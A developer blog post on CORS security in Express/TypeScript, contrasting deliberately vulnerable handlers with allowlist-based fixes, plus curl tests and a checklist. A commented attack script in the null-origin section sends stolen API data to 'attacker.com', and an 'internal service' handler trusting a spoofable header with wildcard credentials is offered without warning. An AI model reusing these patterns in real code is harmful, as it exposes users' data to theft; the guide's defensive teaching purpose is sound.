- Published on
CORS Security in Production — Origins, Credentials, and the Misconfigurations That Get You Hacked
- Authors

- Name
- Sanjeev Sharma
- @webcoderspeed1
Introduction
CORS looks simple—add Access-Control-Allow-Origin and move on. But CORS misconfiguration has compromised countless APIs. Reflecting user-supplied origins, allowing credentials with wildcard, forgetting vary headers on CDNs, and enabling broad subdomain patterns—these mistakes silently grant attackers cross-origin access to sensitive data.
This post covers CORS internals, production misconfigurations, and defense strategies that actually work.
- Preflight Request Flow and Detection
- Origin Reflection Vulnerability
- Credentials Vulnerability
- Vary Header for CDN Caching
- Subdomain Takeover via CORS
- Null Origin Exploitation
- CORS in Microservices
- Testing CORS with curl
- Checklist
- Conclusion
Preflight Request Flow and Detection
Modern browsers send an OPTIONS preflight before unsafe requests (POST, PUT, DELETE, or requests with custom headers):
import express from 'express';
interface CorsOptions {
origin: string | string[] | ((origin: string) => boolean);
credentials?: boolean;
methods?: string[];
allowedHeaders?: string[];
maxAge?: number;
}
// Manual CORS implementation to understand the flow
const manualCorsHandler = (options: CorsOptions) => {
return (req: express.Request, res: express.Response, next: express.NextFunction) => {
const requestOrigin = req.headers.origin || '';
// Determine if origin is allowed
let allowedOrigin: string | null = null;
if (typeof options.origin === 'string') {
allowedOrigin = options.origin;
} else if (Array.isArray(options.origin)) {
if (options.origin.includes(requestOrigin)) {
allowedOrigin = requestOrigin;
}
} else if (typeof options.origin === 'function') {
if (options.origin(requestOrigin)) {
allowedOrigin = requestOrigin;
}
}
if (allowedOrigin) {
res.setHeader('Access-Control-Allow-Origin', allowedOrigin);
res.setHeader('Vary', 'Origin'); // Critical for CDN caching
}
// Preflight request (OPTIONS)
if (req.method === 'OPTIONS') {
res.setHeader(
'Access-Control-Allow-Methods',
options.methods?.join(', ') || 'GET, POST, PUT, DELETE'
);
res.setHeader(
'Access-Control-Allow-Headers',
options.allowedHeaders?.join(', ') || 'Content-Type, Authorization'
);
if (options.credentials) {
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
if (options.maxAge) {
res.setHeader('Access-Control-Max-Age', options.maxAge.toString());
}
return res.status(204).send();
}
next();
};
};
const app = express();
// Secure CORS configuration
app.use(
manualCorsHandler({
origin: ['https://app.example.com', 'https://dashboard.example.com'],
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
maxAge: 3600,
})
);
app.post('/api/data', (req, res) => {
res.json({ data: 'sensitive information' });
});
Origin Reflection Vulnerability
The most common CORS vulnerability: reflecting user-supplied origin:
// VULNERABLE: Echo back any origin
const vulnerableOriginReflection = (req: express.Request, res: express.Response) => {
const origin = req.headers.origin || '*';
res.setHeader('Access-Control-Allow-Origin', origin); // WRONG!
res.setHeader('Access-Control-Allow-Credentials', 'true');
// Attacker controls origin: attacker.com can steal user cookies
if (req.method === 'OPTIONS') {
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
return res.status(204).send();
}
res.json({ secret: 'user data' });
};
// SECURE: Allowlist origins explicitly
const ALLOWED_ORIGINS = [
'https://app.example.com',
'https://dashboard.example.com',
'https://admin.example.com',
];
const secureOriginValidation = (
req: express.Request,
res: express.Response,
next: express.NextFunction
): void => {
const origin = req.headers.origin;
if (origin && ALLOWED_ORIGINS.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Vary', 'Origin');
}
if (req.method === 'OPTIONS') {
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.setHeader('Access-Control-Max-Age', '3600');
return res.status(204).send();
}
next();
};
// Environment-aware configuration
const getOriginAllowlist = (): string[] => {
const env = process.env.NODE_ENV || 'development';
const allowlists: Record<string, string[]> = {
development: [
'http://localhost:3000',
'http://localhost:3001',
'http://127.0.0.1:3000',
],
staging: [
'https://staging-app.example.com',
'https://staging-dashboard.example.com',
],
production: [
'https://app.example.com',
'https://dashboard.example.com',
'https://admin.example.com',
],
};
return allowlists[env] || [];
};
app.use((req, res, next) => {
const allowedOrigins = getOriginAllowlist();
const origin = req.headers.origin;
if (origin && allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Vary', 'Origin');
}
next();
});
Credentials Vulnerability
Combining credentials: true with wildcard origin is a critical vulnerability:
// VULNERABLE: This combination is dangerous
const vulnerableCredentials = (req: express.Request, res: express.Response) => {
res.setHeader('Access-Control-Allow-Origin', '*'); // or any origin
res.setHeader('Access-Control-Allow-Credentials', 'true');
// Browsers will reject this, but misconfigured APIs exist
res.json({ authToken: 'secret', userId: 123 });
};
// SECURE: Specific origin with credentials
const secureCredentials = (req: express.Request, res: express.Response) => {
const allowedOrigins = [
'https://app.example.com',
'https://dashboard.example.com',
];
const origin = req.headers.origin;
if (origin && allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin');
res.setHeader('Access-Control-Max-Age', '3600');
}
if (req.method === 'OPTIONS') {
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.setHeader(
'Access-Control-Allow-Headers',
'Content-Type, Authorization'
);
return res.status(204).send();
}
res.json({ data: 'protected data' });
};
// Credential handling in requests
app.post('/api/protected', secureCredentials, (req: express.Request, res: express.Response) => {
// Only credentials from allowed origins can access this
res.json({ success: true });
});
Vary Header for CDN Caching
The Vary header is critical for CDN correctness:
// VULNERABLE: Missing Vary header allows cache pollution
const vulnerableCDNCache = (req: express.Request, res: express.Response) => {
const origin = req.headers.origin;
const allowedOrigins = ['https://app.example.com', 'https://attacker.com'];
if (origin && allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
// Missing Vary header!
}
res.setHeader('Cache-Control', 'public, max-age=3600');
res.json({ data: 'cached data' });
};
// SECURE: Include Vary header with CORS
const secureCDNCache = (req: express.Request, res: express.Response) => {
const origin = req.headers.origin;
const allowedOrigins = ['https://app.example.com'];
if (origin && allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Vary', 'Origin'); // Tells CDN to cache per-origin
}
res.setHeader('Cache-Control', 'public, max-age=3600');
res.json({ data: 'cached data' });
};
// Production CDN setup with Vary
app.use((req: express.Request, res: express.Response, next: express.NextFunction) => {
// Apply CORS before any caching logic
const origin = req.headers.origin;
const allowedOrigins = getOriginAllowlist();
if (origin && allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
}
// Always include Vary when CORS is enabled
res.setHeader('Vary', 'Origin');
next();
});
app.get('/api/data', (req: express.Request, res: express.Response) => {
res.setHeader('Cache-Control', 'public, max-age=3600');
res.json({ data: 'cacheable data' });
});
Subdomain Takeover via CORS
Allowing broad subdomain patterns (*.example.com) is dangerous:
// VULNERABLE: Wildcard subdomain allows takeover attacks
const vulnerableSubdomainCORS = (
origin: string
): boolean => {
// Matches: https://*.example.com
const pattern = /^https:\/\/[a-z0-9]+\.example\.com$/i;
return pattern.test(origin);
};
// Attack scenario:
// 1. Attacker registers: cdn.example.com
// 2. CORS allows it: matches *.example.com pattern
// 3. Attacker serves JavaScript that steals data from api.example.com
// SECURE: Explicit origin allowlist only
const secureOriginValidation = (origin: string): boolean => {
const allowedOrigins = [
'https://app.example.com',
'https://dashboard.example.com',
'https://cdn.example.com', // Specific subdomain only
];
return allowedOrigins.includes(origin);
};
// Advanced: Combine with DNS CNAME validation
interface SubdomainRegistration {
subdomain: string;
cnameTgt: string;
registeredAt: Date;
}
class SubdomainValidator {
private registeredSubdomains: Map<string, SubdomainRegistration> = new Map();
registerSubdomain(
subdomain: string,
expectedCnameTarget: string
): void {
this.registeredSubdomains.set(subdomain, {
subdomain,
cnameTgt: expectedCnameTarget,
registeredAt: new Date(),
});
}
async validateOrigin(origin: string): Promise<boolean> {
try {
const url = new URL(origin);
const hostname = url.hostname;
// Check if subdomain is registered
const registration = this.registeredSubdomains.get(hostname);
if (!registration) {
return false;
}
// Optionally verify DNS CNAME points to expected target
// (In production, query DNS: nslookup hostname)
return true;
} catch {
return false;
}
}
}
const subdomainValidator = new SubdomainValidator();
subdomainValidator.registerSubdomain('cdn.example.com', 'cloudfront.amazonaws.com');
subdomainValidator.registerSubdomain('api.example.com', 'api-server.internal');
Null Origin Exploitation
The "null" origin is sometimes trusted, but it's easily spoofed:
// VULNERABLE: Allows null origin (file:// URIs, sandboxed iframes)
const vulnerableNullOrigin = (
req: express.Request,
res: express.Response
): void => {
const origin = req.headers.origin;
if (origin === null || origin === 'null') {
res.setHeader('Access-Control-Allow-Origin', 'null'); // WRONG!
}
res.json({ secret: 'data' });
};
// Attack: Attacker creates file:// HTML that accesses API
// <script>
// fetch('https://api.example.com/secrets', {
// credentials: 'include'
// }).then(r => r.json()).then(d => fetch('https://attacker.com/steal?data=' + JSON.stringify(d)))
// </script>
// SECURE: Reject null origin
const secureNullOriginHandling = (
req: express.Request,
res: express.Response,
next: express.NextFunction
): void => {
const origin = req.headers.origin;
const allowedOrigins = getOriginAllowlist();
// Explicitly reject null
if (origin === null || origin === 'null') {
return res.status(403).json({ error: 'CORS policy violation' });
}
if (origin && allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Vary', 'Origin');
}
next();
};
CORS in Microservices
Different trust models for internal vs. public APIs:
// Internal service (from service mesh): Trust all
const internalServiceCors = (
req: express.Request,
res: express.Response,
next: express.NextFunction
): void => {
// Trust requests from other internal services
if (req.headers['x-internal-service']) {
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
};
// Public API: Strict allowlist
const publicApiCors = (
req: express.Request,
res: express.Response,
next: express.NextFunction
): void => {
const origin = req.headers.origin;
const allowedOrigins = [
'https://app.example.com',
'https://partner.example.com', // Specific partner domain
];
if (origin && allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Vary', 'Origin');
}
next();
};
const internalApp = express();
const publicApp = express();
internalApp.use(internalServiceCors);
publicApp.use(publicApiCors);
// Register both apps
app.use('/internal', internalApp);
app.use('/api', publicApp);
Testing CORS with curl
Debug CORS issues:
# Preflight request
curl -X OPTIONS https://api.example.com/data \
-H "Origin: https://app.example.com" \
-H "Access-Control-Request-Method: POST" \
-H "Access-Control-Request-Headers: Content-Type" \
-v
# Actual request with credentials
curl -X POST https://api.example.com/data \
-H "Origin: https://app.example.com" \
-H "Authorization: Bearer token" \
--cookie "session=abc123" \
-v
# Check response headers
curl -X GET https://api.example.com/data \
-H "Origin: https://app.example.com" \
-i
Checklist
- Explicit allowlist of trusted origins (never wildcard)
- Include Vary: Origin header in all CORS responses
- Never combine
credentials: truewith wildcard origin - Reject null origin explicitly
- Validate subdomain origins against registration list
- Test CORS with curl and browser DevTools
- Separate CORS policies for internal vs. public APIs
- Monitor for CORS errors in production logs
- Regular audit of allowed origins (remove obsolete entries)
- Use library (e.g., cors npm package) configured correctly, not custom code
Conclusion
CORS security is about specificity and clarity. Explicit allowlists, proper Vary headers, and treating credentials carefully eliminate 99% of CORS exploits. Treat CORS configuration as critical infrastructure, audit it regularly, and never trust origin reflection.